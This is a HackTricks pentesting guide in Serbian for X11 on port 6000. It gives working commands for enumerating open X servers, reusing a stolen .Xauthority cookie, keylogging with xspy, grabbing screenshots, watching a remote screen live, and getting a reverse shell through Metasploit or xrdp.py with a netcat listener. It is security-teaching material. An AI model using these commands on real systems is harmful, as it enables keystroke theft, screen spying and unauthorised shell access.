hacktricks/network-services-pentesting/6000-pentesting-x11.md

# 6000 - Pentesting X11

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>

Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking

**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights

**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates

**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

## Basic Information

**X Window System** (X) je svestran sistem za prozore koji je prisutan na UNIX-baziranim operativnim sistemima. Pruža okvir za kreiranje grafičkih **korisničkih interfejsa (GUI)**, pri čemu pojedinačni programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznolika i prilagodljiva iskustva unutar X okruženja.

**Default port:** 6000
```
PORT       STATE   SERVICE
6000/tcp   open    X11
```
## Enumeration

Proverite za **anonimnu vezu:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### Lokalna Enumeracija

Datoteka **`.Xauthority`** u korisnikovom home folderu se **koristi** od strane **X11 za autorizaciju**. Iz [**ovde**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...
```
> MIT-magic-cookie-1: Generisanje 128bit ključa (“cookie”), čuvanje u \~/.Xauthority (ili gde pokazuje XAUTHORITY envvar). Klijent ga šalje serveru u čistom obliku! Server proverava da li ima kopiju ovog “cookie” i ako ima, veza je dozvoljena. Ključ generiše DMX.

{% hint style="warning" %}
Da biste **koristili cookie** treba da postavite env var: **`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}

#### Lokalna enumeracija sesije
```bash
$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session
```
U primeru, `localhost:0` je pokretao xfce4-session.

## Verifikujte Konekciju
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keyloggin

[xspy](http://tools.kali.org/sniffingspoofing/xspy) za presretanje pritisaka na tastaturu.

Sample Output:
```
xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Snimanje ekrana
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Remote Desktop View

Način sa: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Putem: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)

Prvo moramo pronaći ID prozora koristeći xwininfo
```
xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0
```
**XWatchwin**

Za **uživo gledanje** potrebno je koristiti
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Dobijanje Shell-a
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
**Reverse Shell:** Xrdp takođe omogućava uzimanje reverse shell-a putem Netcat-a. Ukucajte sledeću komandu:
```bash
./xrdp.py \<IP:0> –no-disp
```
U interfejsu možete videti opciju **R-shell**.

Zatim, pokrenite **Netcat listener** na vašem lokalnom sistemu na portu 5555.
```bash
nc -lvp 5555
```
Zatim unesite svoju IP adresu i port u opciju **R-Shell** i kliknite na **R-shell** da dobijete shell

## Reference

* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)

## Shodan

* `port:6000 x11`

<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>

Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!

**Hacking Insights**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

**Real-Time Hack News**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

**Latest Announcements**\
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi

**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!

{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Podrška HackTricks</summary>

* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

</details>
{% endhint %}